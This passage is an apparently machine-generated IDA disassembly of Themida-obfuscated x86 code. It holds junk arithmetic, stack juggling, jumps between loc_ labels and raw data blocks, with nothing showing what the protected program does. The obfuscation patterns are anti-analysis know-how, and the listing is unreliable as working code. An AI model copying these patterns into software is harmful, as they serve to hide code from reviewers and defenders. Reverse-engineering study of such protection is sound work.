		db 0FFh
; ---------------------------------------------------------------------------


loc_5490E5:				; CODE XREF: Themida_:00547682j
		add	ecx, edi
		mov	[ecx], esi
		mov	ecx, [esp]
		add	esp, 4
		pop	esi
		shr	dword ptr [edi+20h], 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7E175CB3h
		jmp	loc_548656
; ---------------------------------------------------------------------------
		dd 5D2414F7h, 7F3CF581h, 0DDF73B21h, 115CF581h,	0E801160Ah
		dd 2DD8295Dh, 662E36E2h, 345EE9h, 24248B00h, 240C8B66h
		dd 50E18951h, 793AC7B8h, 0D8F74861h, 5C0CBF57h,	0E78101E7h
		dd 33564A2h, 2E01BD55h,	0EF014E6Fh, 0E9F8295Dh,	5584h
		dd 4C481h, 0FBE90000h
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54915F:				; CODE XREF: Themida_:0054E148j
		push	ecx
		mov	ecx, 0DD310E3h
		push	edx
		mov	edx, 57924C99h
		jmp	loc_54E43F
; ---------------------------------------------------------------------------
		dd 850340BEh, 8DFCE913h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54917A:				; CODE XREF: Themida_:0054AD45j
		pop	esi
		shl	ebx, 6
		push	ebp
		mov	ebp, 267F31D7h
		and	ebx, ebp
		pop	ebp
		dec	ebx
		dec	ebx
		sub	ebx, 441107Ch
		add	edx, ebx
		pop	ebx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_54EFF1
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0D1h
		dd 810D1F4Fh, 540E53C2h, 4E2C110h, 0E4D3F281h, 0D301BDAEh
		dd 7EC3815Ah, 5A275434h, 4EC81h, 0D2E90000h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5491C7:				; CODE XREF: Themida_:0054E336j
		add	al, 82h
		push	dx
		push	16F9h
		jmp	loc_54A966
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 0F6h
		dd 59FFFFE3h, 53E28952h, 4BBh, 5BDA0100h, 4EA81h, 14870000h
		dd 5B43E924h, 0C890000h, 5ADFB924h, 0E181591Eh,	63767C62h
		dd 9029E9h, 242C8700h, 68B3685Ch, 2C890000h, 17E8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54921A:				; CODE XREF: Themida_:0054F753j
		add	eax, esi
		pop	esi
		jmp	loc_54D343
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 8E13E924h, 0EDD10000h, 2C7AE9h, 4E7C100h, 2129EF81h
		dd 0C7814004h, 4F8E5627h, 0C7814F47h, 2E019411h, 3C8BF989h
		dd 4C48324h, 1839E981h,	0E9814F56h, 0B6E5F3C2h,	0E959CF01h
		dd 1004h, 0F681DEF7h, 20400Ch, 0FFD578E9h, 0EE815EFFh
		dd 67B55542h, 6EEC15Bh,	156968h, 242C8900h, 0DD171FBDh
		dd 448CE91Dh, 88680000h, 89000012h, 0E2892414h,	4C281h
		dd 83680000h, 89000021h, 3CE9242Ch, 53000038h, 0C3815B54h
		dd 4, 6804C383h, 4D09h,	0FF241C89h, 5B042474h, 8B24048Fh
		dd 0E0E92424h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5492CF:				; CODE XREF: Themida_:0054C0E7j
		push	esi
		mov	esi, 7A78125Bh
		dec	esi
		xor	esi, 745B1C1Bh
		jmp	loc_550D2C
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 6Ch
		dd 5D792B2Fh, 8103E6C1h, 10571CF6h, 0FFF301F6h,	815E2434h
		dd 4C4h, 2EB8100h, 53000000h, 42474FFh,	24048F5Bh, 2B6E9h
		dd 4C48100h, 0E9000000h, 0FFFFE306h, 0E9E18951h, 0FFFFE846h
		dd 0C383D387h, 0E3814BFFh, 471F6F0Ch, 0F9CCC381h, 0DA31286Ah
		dd 0FBFAE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54933E:				; CODE XREF: Themida_:0054F31Fj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ch, al
		mov	bh, ch
		pop	ecx
		jmp	loc_54F1BD
; ---------------------------------------------------------------------------


loc_549359:				; CODE XREF: Themida_:00550E45j
		add	al, bl
		pop	ebx
		inc	al
		not	al
		jmp	loc_5469A0
; ---------------------------------------------------------------------------
		db 0ACh, 0E9h, 18h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54936B:				; CODE XREF: Themida_:00547E82j
		shl	eax, 2
		dec	eax
		jmp	loc_548822
; ---------------------------------------------------------------------------


loc_549374:				; CODE XREF: Themida_:005495ADj
		mov	edx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		jmp	loc_549CD6
; ---------------------------------------------------------------------------


loc_549385:				; CODE XREF: Themida_:0054C9EFj
		add	esi, 1
		add	esi, 583195ACh
		push	esi
		pop	edx
		pop	esi
		add	edx, 50D64692h
		add	edx, ebp
		sub	edx, 50D64692h
		mov	ebp, [esp]
		add	esp, 4


loc_5493AB:				; CODE XREF: Themida_:loc_54C9B3j
					; Themida_:loc_54EA35j
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_546F22
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
aXfniSp		db '¹Ùxän‰ËéP}',0
		align 4
		dd 0E902C083h, 52A6h, 0C8B60F66h, 0E99C5166h, 0FFFFCE2Ah
; ---------------------------------------------------------------------------


loc_5493E0:				; CODE XREF: Themida_:00547473j
		mov	al, 82h
		shl	al, 5
		jmp	loc_550E42
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 0FC3AC705h, 3CC3EE81h, 0FBE97CEBh, 100001Bh,	0BE565BDAh
		dd 64E2931h, 81DEF746h,	476EECCEh, 0BD5500h, 29000000h
		dd 5DEE87F5h, 52EFE681h, 0F68129DDh, 80000h, 875EF201h
		dd 0F9E92414h, 1000041h, 24348BF5h, 4C481h, 0EC810000h
		dd 4, 0FFFB09E9h, 4EC81FFh, 0E9000000h,	5F1Bh
; ---------------------------------------------------------------------------


loc_549450:				; CODE XREF: Themida_:0054E396j
		xor	edi, 74C2264Ch
		dec	edi
		push	edx
		mov	edx, 1AEF7816h
		shr	edx, 2
		not	edx
		jmp	loc_546BCC
; ---------------------------------------------------------------------------
aXs?_0		db ')ÁXéÓ?',0
		dw 0AD00h
		dd 4EC81h, 14890000h, 2C0BBA24h, 50511E7Ch, 135FC7B8h
		dd 58C18925h, 8103E9C1h, 7454BCE1h, 59C18160h, 4127B869h
		dd 0CB14C181h, 0C80156CBh, 7F79E9h, 2C102C00h, 8ED0E9E2h
		dd 2C8B0000h, 3D70E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5494B6:				; CODE XREF: Themida_:0054D8DCj
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_54A4C7
; ---------------------------------------------------------------------------
		dd 24048150h, 163C1CBAh, 340CE95Dh, 0C890000h, 3533B924h
		dd 0E9812668h, 9986B899h, 0FFF01FE9h, 48F54FFh,	24048124h
		dd 4, 81E9535Ah, 8BFFFFE2h, 0C483240Ch,	7DBE5604h, 81096828h
		dd 1B790BE6h, 5BF5715h,	29010828h, 0F1015FFEh, 8124348Bh
		dd 4C4h, 16DC6800h, 3FE90000h, 5C000056h, 0FFEE7DE9h, 241C87FFh
		dd 6424248Bh, 0D3E90288h, 68FFFFCCh, 7CAEh, 89241489h
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 0E924248Bh, 0FFFFED7Dh
		dd 6500EB81h, 0EB817DD3h, 3AC73955h, 2434FF50h,	4B48E95Ah
		dd 0C1810000h, 5B22227Fh, 4E59CE89h, 4E05E6C1h,	0FFD43AE9h
		dd 0E18951FFh, 62D4BA52h, 0EA81363Bh, 363B62D0h, 0D9E9D101h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549597:				; CODE XREF: Themida_:0055093Dj
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	edx
		mov	edx, 4
		add	eax, edx
		jmp	loc_549374
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 53ECBD55h, 0F5812EF9h, 2EF953E8h, 36E9E801h,	8BFFFFE9h
		dd 0F0E92424h, 8900001Bh, 879DE9F3h, 0BC680000h, 8900002Dh
		dd 0E389241Ch, 4C381h, 0EB810000h, 4, 31241C33h, 1C33241Ch
		dd 838BE924h, 555F0000h, 1AAEE9h
		db 0
; ---------------------------------------------------------------------------


loc_549601:				; CODE XREF: Themida_:00548651j
		push	edi
		mov	edi, 762B1A84h
		not	edi
		shr	edi, 4
		jmp	loc_549C3B
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 95h
		dd 0BF3FF879h, 5924C622h, 74E9F729h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549623:				; CODE XREF: Themida_:0054C194j
		jmp	loc_54620A
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 0F1F72424h, 904EE952h, 0F3890000h, 0E92434FFh
		dd 1050h, 5205E8C1h, 126A32BAh,	5AD03174h, 74E06E05h, 3481508Bh
		dd 0C00F5524h, 0BE95A76h, 1000082h, 34875DEEh, 14875C24h
		dd 89665C24h, 61E9240Ch, 53FFFFFDh, 3C55BD55h, 0F58119D3h
		dd 3B2E75F9h, 192CED81h, 0F58153BFh, 8DBE749Dh,	4477E9h
		dd 4B85000h, 1000000h, 58042444h, 5E2434FFh, 4C481h, 0C6810000h
		dd 4, 2B951h, 0CE010000h, 8BBAE9h, 0B5515200h, 47B35324h
		dd 883EC380h, 0EA005BDAh, 0CAD6859h, 0C890000h,	0EBB75324h
		dd 0CFE9D6B5h, 2C00001Eh, 981E93Bh, 0C6680000h,	5D23B622h
		dd 4FCD81h, 0F5812E41h,	87A0B04h, 0B95DEB89h, 278D29D5h
		dd 0AFE9D929h, 5EFFFFF3h, 52FCE952h, 1ABB0000h,	81643562h
		dd 4A1EEAEBh, 0E9D831F9h, 1720h, 0B050665Bh, 66C520A3h
		dd 7DB45058h, 28E3F480h, 0C5FE58E5h, 8023C580h,	0C3808CC3h
		dd 80EB28F5h, 0B652F5EBh, 0E9D6F69Bh, 0FFFFCD34h, 0E9242C87h
		dd 38Dh, 21B652ACh, 0E9EDB450h,	6A2Fh, 0E681DEF7h, 9982EA4h
		dd 26C0F681h, 0EE8168CAh, 5FCA100Ah, 622BBD55h,	314D0E29h
		dd 31EE31F5h, 4EC81F5h,	0E9000000h, 8F45h, 0BE564B58h
		dd 0ADBFE005h, 15EF301h, 0F8F8E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54979A:				; CODE XREF: Themida_:0054B6AEj
		mov	ch, 0CAh
		push	edx
		mov	dh, 20h
		sub	bl, dh
		pop	edx
		add	bl, ch
		add	bl, 20h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54A4F6
; ---------------------------------------------------------------------------
aIcs6a		db '‰çé6€',0
		db 0
; ---------------------------------------------------------------------------


loc_5497B9:				; CODE XREF: Themida_:0054CF53j
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 404373DCh
		jmp	loc_552908
; ---------------------------------------------------------------------------
dword_5497CC	dd 81242489h, 42404h, 48F0000h,	1C6BE924h, 0E5890000h
		dd 4C581h, 0C5830000h, 242C8704h, 30EA815Ch, 100027Dh
		dd 30C281F2h, 0FF00027Dh, 93E92434h, 81000065h,	4C5h, 4C58100h
		dd 33000000h, 2C31242Ch, 6984E924h, 51530000h, 0CF88D188h
		dd 88E28859h, 0EC805BFCh, 7BF48055h, 0FCE9E608h, 31000043h
		dd 3C33243Ch, 0F0BFE924h, 0B850FFFFh, 7A8070B3h, 5404848h
		dd 6710447Fh, 0BB53D0F7h, 3B1E0C44h, 64B7BA52h,	0D3216443h
		dd 8124148Bh, 4C4h, 8CE38100h, 0E9151B6Ch, 9085h, 0E951D3F7h
		dd 0FFFFE151h, 4EBB753h, 88B8E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549882:				; CODE XREF: Themida_:0054E207j
		add	esp, 4
		sub	ebx, 3A655FD2h
		jmp	loc_54B555
; ---------------------------------------------------------------------------


loc_549893:				; CODE XREF: Themida_:00551A63j
		and	ebx, ebp
		pop	ebp
		jmp	loc_551054
; ---------------------------------------------------------------------------


loc_54989B:				; CODE XREF: Themida_:0054A0F0j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	esi, 3
		jmp	loc_5513A8
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 9030C405h, 8359CB01h, 0BAE904C3h, 0FF00003Eh, 8B042474h
		dd 0B8E9240Ch
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5498C7:				; CODE XREF: Themida_:0054DB45j
		push	ecx
		mov	ecx, 2A603CF9h
		xor	ecx, 0A1AF3475h
		xor	esi, ecx
		pop	ecx
		push	esi
		mov	esi, 2E852296h
		add	esi, 2D71F02h
		add	ebx, esi
		pop	esi
		sub	ebx, esi
		sub	ebx, 315C4198h
		pop	esi
		push	0AD4h
		mov	[esp], ecx
		mov	ecx, 2D1F1118h
		and	ebx, ecx
		pop	ecx
		or	ebx, 58034521h
		push	edx
		jmp	loc_549DAE
; ---------------------------------------------------------------------------
aRs_0		db '^Réì!',0
		dd 2C48100h, 0E9000000h, 3CC4h,	9D1C77FFh, 0D3665966h
		dd 0E99C241Ch, 832Eh, 8104C483h, 4C4h, 3C0E900h, 0D1290000h
		dd 4CC2C181h, 31E978AAh, 5EFFFFDBh, 4C281h, 14870000h
		dd 0B3E95C24h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549957:				; CODE XREF: Themida_:0054DB3Aj
		mov	ebx, 4
		jmp	loc_54A41F
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0DFh
		dd 5D62C401h, 31241C33h, 1C33241Ch, 24248B24h, 0F66F1F6h
		dd 6866CCB6h, 89662405h, 0F66240Ch, 38E9C8B6h, 8100001Dh
		dd 0CBE82BC2h, 5AD189E9h, 3444F181h, 882D7367h,	83098933h
		dd 3C8904ECh, 6593BF24h, 0E7683F02h, 8900001Ch,	0EC81241Ch
		dd 4, 0A3EE9h, 0E3895300h, 2CA1E9h, 68C16800h, 2C890000h
		dd 0E9E58924h, 65AFh, 8108E5C1h, 0E858BDF5h, 0C581453Ch
		dd 4F1B455Ah, 55DE889h,	21591E75h, 0FFFF0548h, 88E9FFFFh
		dd 5A00006Ah, 0BBE9242Ch, 5C00002Ch, 5FCAE9h
		db 0
; ---------------------------------------------------------------------------


loc_549A05:				; CODE XREF: Themida_:0054F8D9j
		mov	[esp], bx
		jmp	loc_5510F0
; ---------------------------------------------------------------------------


loc_549A0E:				; CODE XREF: Themida_:005462BAj
		mov	edi, 45F83C07h
		dec	edi
		jmp	loc_54E9DE
; ---------------------------------------------------------------------------


loc_549A19:				; CODE XREF: Themida_:0054C498j
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_54C18E
; ---------------------------------------------------------------------------
		dd 131468h, 241C8900h, 6C17B951h, 4C017BE7h, 0E9590424h
		dd 144Fh
; ---------------------------------------------------------------------------


loc_549A48:				; CODE XREF: Themida_:00547B1Ej
		sub	ebp, 7EFF425Dh
		xor	ebp, 2D541187h
		add	ebp, 0FFFFFFFFh
		push	4CB1h
		mov	[esp], ebp
		dec	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, 58986F47h
		sub	ecx, 0FFFFFFFFh
		neg	ecx
		neg	ecx
		shr	ecx, 8
		xor	ecx, 0B92F23DEh
		xor	ebp, ecx
		pop	ecx
		sub	edi, ebp
		pop	ebp
		not	edi
		inc	edi
		push	3C2Fh
		mov	[esp], esi
		jmp	loc_5487BB
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 7EA47526h, 12754305h, 732FE97Dh, 0E9810000h,	77FB6B26h
		dd 8A30E95Dh, 0D9F70000h, 76B6E9h, 2434FF00h, 6CFDE9h
		dd 4C02BE00h, 0DEF72CD2h, 52ECE681h, 0EEC163CBh, 413AE905h
		dd 0C6810000h, 10205031h, 0FFD15DE9h, 1C895CFFh, 0BB24h
		dd 57E90000h, 53000043h, 73116ABBh, 2A44E915h, 454D0000h
		dd 0A9EEC581h, 0EA09C919h, 0DAF7425Dh, 0FFFFC281h, 1AE9FFFFh
		dd 2D00001Ah, 29A3027Dh, 97BD555Ah, 8118632Bh, 0A22CEAC5h
		dd 0DDE95532h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549B27:				; CODE XREF: Themida_:0054EAD5j
		dec	bl
		sub	bl, 0FFh
		sub	bl, 0D9h
		jmp	loc_5517C8
; ---------------------------------------------------------------------------
		dd 58C5015Fh, 8702ED83h, 3DE9242Ch, 0BEFFFFCDh,	4F206024h
		dd 15EF729h, 24C781DFh,	814F2060h, 2663E2C7h, 241C8B0Eh
		dd 4C481h, 0C7830000h, 243C8702h, 6624248Bh, 8124048Bh
		dd 4ECh, 242C8900h, 0E9505D54h,	750Ch, 9D1C77FFh, 0D3665966h
		dd 0E99C2414h, 0FFFFC67Ah, 20560BBh, 5BD8011Fh,	91274E05h
		dd 2DD00174h, 7491274Eh, 205602Dh, 0EA5BE91Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549BAE:				; CODE XREF: Themida_:005516AAj
		not	ecx
		sub	ecx, 21031397h
		xor	ecx, 13CA128h
		jmp	loc_54B660
; ---------------------------------------------------------------------------


loc_549BC1:				; CODE XREF: Themida_:0054C4EAj
		pop	ecx
		mov	dl, al
		mov	eax, [esp]
		jmp	loc_552759
; ---------------------------------------------------------------------------


loc_549BCC:				; CODE XREF: Themida_:00546496j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54F1F3
; ---------------------------------------------------------------------------


loc_549BD7:				; CODE XREF: Themida_:0054C661j
		sub	al, 0Fh
		add	al, 0B8h
		pop	cx
		add	al, 0B7h
		add	al, 6Fh
		add	al, bl
		sub	al, 6Fh
		sub	al, 0B7h
		jmp	loc_547CE0
; ---------------------------------------------------------------------------
		dd 3BFFE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549BF2:				; CODE XREF: Themida_:0054F705j
		or	bl, 3Dh
		jmp	loc_54EAD3
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 81FFE924h, 0EF810000h, 4, 22E3E9h, 0EC815200h, 4, 24048F54h
		dd 4240483h, 0FEBF575Ah, 0C112DE56h, 504703EFh,	0F15D1B8h
		dd 58C70978h, 0DFEDEF81h, 58E97A5Fh
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549C3B:				; CODE XREF: Themida_:0054960Cj
		and	edi, 40B47A7Fh
		xor	edi, 66416312h
		and	ebp, edi
		pop	edi
		add	ebp, 9B7BD800h
		add	edi, ebp
		pop	ebp
		push	6331h
		mov	[esp], ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_54A47A
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4473219Eh, 505DEA01h, 8717D0B8h, 0D0F74036h,	0C103E0C1h
		dd 4B0D07E8h, 0E924ED24h, 2F32h, 400B951h, 4F090000h, 2434FF1Ch
		dd 4EC8359h, 89243C89h,	0D567E9E7h, 1968FFFFh, 89000037h
		dd 68E9241Ch, 66000081h, 0D83166ADh, 0FFC89AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549CB9:				; CODE XREF: Themida_:00548F06j
		push	edx
		mov	edx, 12FC4CA0h
		jmp	loc_54E96A
; ---------------------------------------------------------------------------
		dd 0E9D00059h, 0FFFFFD2Bh, 0EF4E37BAh, 0F0B2E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549CD6:				; CODE XREF: Themida_:00549380j
		pop	esp
		push	751h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_550E08
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 0FF24248Bh, 0C510E930h, 0FF59FFFFh, 34FF2434h, 2434FF24h
		dd 6165E9h, 378E6800h, 0C890000h, 4EC8324h, 0E9242489h
		dd 876Dh, 2FE9D088h, 83000019h,	80E904C4h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549D2B:				; CODE XREF: Themida_:0054D43Dj
		shr	edi, 2
		jmp	loc_551DEF
; ---------------------------------------------------------------------------


loc_549D33:				; CODE XREF: Themida_:0054BF21j
		and	eax, ebx
		jmp	loc_54824D
; ---------------------------------------------------------------------------
		dw 0B68h
		dd 89000012h, 0BD552424h, 4, 0FFD972E9h, 2BE56FFh, 1000000h
		dd 2434FFF7h, 4C4835Eh,	0E9243C87h, 5E8h, 0A8BF5751h, 0E957EC08h
		dd 861Eh, 57F2815Ah, 0C157F41Fh, 814206EAh, 246C6AEAh
		dd 42ABE9CCh, 48B0000h,	27C56824h, 4890000h, 51E08924h
		dd 5C1ACDB9h, 0D1C5E95Eh, 0C481FFFFh, 4, 44C38166h, 0D974E962h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549DAE:				; CODE XREF: Themida_:00549905j
		mov	edx, 451D76D6h
		xor	edx, 593C4B69h
		sub	edx, 0E1522D8Dh
		sub	ebx, edx
		pop	edx
		xor	ecx, ebx
		jmp	loc_5484F5
; ---------------------------------------------------------------------------
		db 29h,	0FEh, 52h
		dd 8AF7E9h, 89505800h, 405E0h, 47E90000h, 89000011h, 5332E9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549DE6:				; CODE XREF: Themida_:0054CCE3j
		pop	edi
		push	esi
		mov	esi, 35D31FBDh
		sub	esi, 28C138BCh
		add	esi, 0A18777F0h
		xor	edi, esi
		jmp	loc_54EA54
; ---------------------------------------------------------------------------
		dd 4EC81h, 4890000h, 5D14B824h,	35405F12h, 5EC73899h, 4C05D0F7h
		dd 0E939BB7Ch, 58D3h, 4C1815Fh,	33000000h, 0C31240Ch, 240C3324h
		dd 69B4E9h
		db 0
; ---------------------------------------------------------------------------


loc_549E35:				; CODE XREF: Themida_:00547C34j
		add	eax, edi
		jmp	loc_550158
; ---------------------------------------------------------------------------
		dd 56241C89h, 0B1244CBEh, 68DEF758h, 77DAh, 0E9243489h
		dd 1BCBh
; ---------------------------------------------------------------------------


loc_549E54:				; CODE XREF: Themida_:00550179j
		pop	eax
		push	edx
		mov	edx, 1C984A28h
		push	esi
		jmp	loc_551690
; ---------------------------------------------------------------------------
		db 0BBh, 0B4h, 0Eh
		dd 0F381775Fh, 4C8C90FEh, 0B0E9DF29h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549E73:				; CODE XREF: Themida_:0054621Dj
		add	esp, 4
		sub	al, 67h
		add	al, 0DCh
		add	al, bl
		push	ecx
		mov	cl, 65h
		inc	cl
		xor	cl, 0DBh
		add	cl, 1Fh
		jmp	loc_5468BC
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0EF88E957h, 0D901FFFFh, 83241C8Bh, 0EC8304C4h, 241C8904h
		dd 0FD2DE4BBh, 0E0EB8135h, 135FD2Dh, 0C875BD9h,	0C4835C24h
		dd 24042104h, 0C348E99Ch, 0A2B8FFFFh, 1DACEC4h,	0C4E958C2h
		dd 68000026h, 18C1h, 52240C89h,	97DC6BAh, 7E2C14Ch, 0B23CF281h
		dd 0D1895159h, 0CE9815Ah, 8153884Fh, 0FC25EEE1h, 3FB8503Bh
		dd 5268037h, 72A31945h,	49E32E2Dh, 58C1212Eh, 0E907E9C1h
		dd 0FFFFDADFh, 241C895Ch, 5892E9h
		db 0
; ---------------------------------------------------------------------------


loc_549F19:				; CODE XREF: Themida_:0054C235j
		push	ecx
		push	108F3BD7h
		pop	ecx
		or	ecx, 4A471272h
		add	ecx, 42CF470Ch
		add	ecx, 1D00658Fh
		add	ecx, 0BA814C0Ah
		mov	ebp, ecx
		jmp	loc_54637D
; ---------------------------------------------------------------------------
		db 5Dh
		dd 3860962Dh, 10C68133h, 292BEC4Bh, 10EE81C6h, 582BEC4Bh
		dd 875EF701h, 248B243Ch, 24D36624h, 0A3E99C24h,	66FFFFC2h
		dd 5624048Bh, 0B951E689h, 4F600346h, 1465E981h,	81491CDAh
		dd 222B7E1h, 9CE98153h,	1120022h, 525559CEh, 4FA6E9h, 0E9D2F700h
		dd 495Ch, 34FFF701h, 0C948E924h, 5B54FFFFh, 0A8BB5356h
		dd 8172401Ch, 8D61F3C3h, 0C1D3F720h, 0F38107EBh, 55DF5E7Dh
		dd 59ECEB81h, 5CE94896h, 81FFFFDBh, 4C5h, 2C58300h, 8904EC83h
		dd 74FF242Ch, 8F5D0424h, 0E95C2404h, 3E34h, 56DFF766h
		dd 79EDE9h, 24048900h, 0EA80D6B0h, 0EF84E9BDh, 79B6FFFFh
		dd 5166CEFEh, 0FFD2CBE9h, 5BDD29FFh, 0B85DEF01h, 48D761CAh
		dd 3C8BF831h, 0E0895024h, 405h,	4C08300h, 5C240487h, 524AE9h
		dd 2E1C100h, 4FE8E981h,	0F1E97AB4h, 68000029h, 74F277DBh
		dd 0E002E95Eh, 34FFFFFFh
		db 24h,	58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54C1CD
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 4185866h,	0A7E99C24h, 81FFFFC1h, 4ECh, 24148900h
		dd 4D9EE9h, 4C78100h, 83000000h, 3C8704C7h, 66045C24h
		dd 662CF828h, 138FE9h
		db 0
; ---------------------------------------------------------------------------


loc_54A089:				; CODE XREF: Themida_:005489BCj
		mov	[esp], ebp
		add	dword ptr [esp], 17C95629h
		push	dword ptr [esp]
		pop	eax
		jmp	loc_550E1A
; ---------------------------------------------------------------------------
		dd 2D28B2BEh, 0D53FE90Fh, 0E281FFFFh, 4B2C20E7h, 5F5AE281h
		dd 3FE96245h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A0B7:				; CODE XREF: Themida_:0054C105j
		mov	edx, 597E6779h
		push	edx
		jmp	loc_54B979
; ---------------------------------------------------------------------------
		dw 0CD01h
		dd offset dword_50CC48+6A1h
		dd 15E95900h, 0BBFFFFFFh, 36244D7Dh, 5F5BDE01h,	8725E9h
		dd 68565500h, 4EE53349h
		db 8Bh,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54989B
; ---------------------------------------------------------------------------
aSw		db ']éw',0Ah,0
		db 0
; ---------------------------------------------------------------------------


loc_54A0FB:				; CODE XREF: Themida_:0054E744j
		mov	[esp], ebx
		push	ebp
		mov	ebp, 3F16B35h
		mov	ebx, 82C1AB6Bh
		sub	ebx, ebp
		pop	ebp
		sub	[esp+8], ebx
		pop	ebx
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	eax
		mov	eax, 26083A40h
		inc	eax
		xor	eax, 26083A45h
		add	ebx, eax
		pop	eax
		jmp	loc_547C1F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 4C381h, 0B8500000h, 4, 3651E9h, 243C8700h
		dd 6624248Bh, 5024048Bh, 25BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_54A15D:				; CODE XREF: Themida_:00552754j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_548240
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0CAFE03B2h, 70DBE9h
		db 0
; ---------------------------------------------------------------------------


loc_54A175:				; CODE XREF: Themida_:0054E89Fj
					; Themida_:005525EBj
		push	ebp
		mov	ebp, esp
		push	edi
		push	7E57h
		mov	[esp], ecx
		mov	ecx, 15AB360Dh
		mov	edi, 54A9597Dh
		sub	edi, ecx
		pop	ecx
		push	ebx
		mov	ebx, 387F0861h
		xor	edi, ebx
		pop	ebx
		and	edi, 479A6A78h
		xor	edi, 6BC6099Eh
		sub	edi, 1D246594h
		dec	edi
		xor	edi, 5021BDFDh
		add	ebp, 9E11D38h
		add	ebp, edi
		sub	ebp, 9E11D38h
		pop	edi
		push	edi
		mov	edi, 4
		jmp	loc_5516D1
; ---------------------------------------------------------------------------


loc_54A1CA:				; CODE XREF: Themida_:0054893Dj
		push	esp
		pop	edx
		push	edi
		mov	edi, 4
		sub	edx, 56F3D28h
		add	edx, 518E0384h
		add	edx, edi
		jmp	loc_54D8EC
; ---------------------------------------------------------------------------


loc_54A1E5:				; CODE XREF: Themida_:0054A83Cj
		mov	eax, 577753C1h
		push	ebp
		mov	ebp, 5B46084Ch
		or	ebp, 5F7957C2h
		or	ebp, 4C4A61C4h
		sub	ebp, 89C3E76h
		jmp	loc_54712D
; ---------------------------------------------------------------------------
		db 50h
		dd 404AB568h, 24048B29h, 4C481h, 65350000h, 0F73C115Ah
		dd 0B95148D8h, 0BB599CF0h, 0E959C831h, 26F2h, 4C481h, 0C4E90000h
		dd 5FFFFC0h, 4,	8B240487h, 48F2424h, 3CD25C24h,	0BBE99C24h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A24F:				; CODE XREF: Themida_:005517EAj
		or	ebx, edi
		jmp	loc_54D935
; ---------------------------------------------------------------------------
		dw 0D3B9h
		dd 0F72D5727h, 0BA52D1h, 0E9000000h, 7DEBh, 4C781h, 3C870000h
		dd 54E95C24h, 0FFFFFFC2h, 669D1C77h, 2414D259h,	0BF84E99Ch
		dd 3C8BFFFFh, 47E95324h
